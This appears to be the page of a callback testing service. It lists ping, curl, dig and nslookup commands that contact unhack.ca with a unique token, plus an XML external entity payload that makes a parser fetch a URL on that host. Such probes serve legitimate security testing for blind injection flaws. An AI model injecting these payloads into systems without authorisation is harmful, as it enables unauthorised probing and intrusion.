$ ping -c1 -p 0074d26ad5ae39fa643e3b080776a900 unhack.ca
 
$ curl http://unhack.ca/p/74d26ad5ae39fa643e3b080776a9
 
$ dig 74d26ad5ae39fa643e3b080776a9 @unhack.ca
 
$ dig 74d26ad5ae39fa643e3b080776a9.ns.unhack.ca
 
C:\> nslookup 74d26ad5ae39fa643e3b080776a9 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/74d26ad5ae39fa643e3b080776a9">]>
    <foo>&xxe;</foo>
Waiting for ping...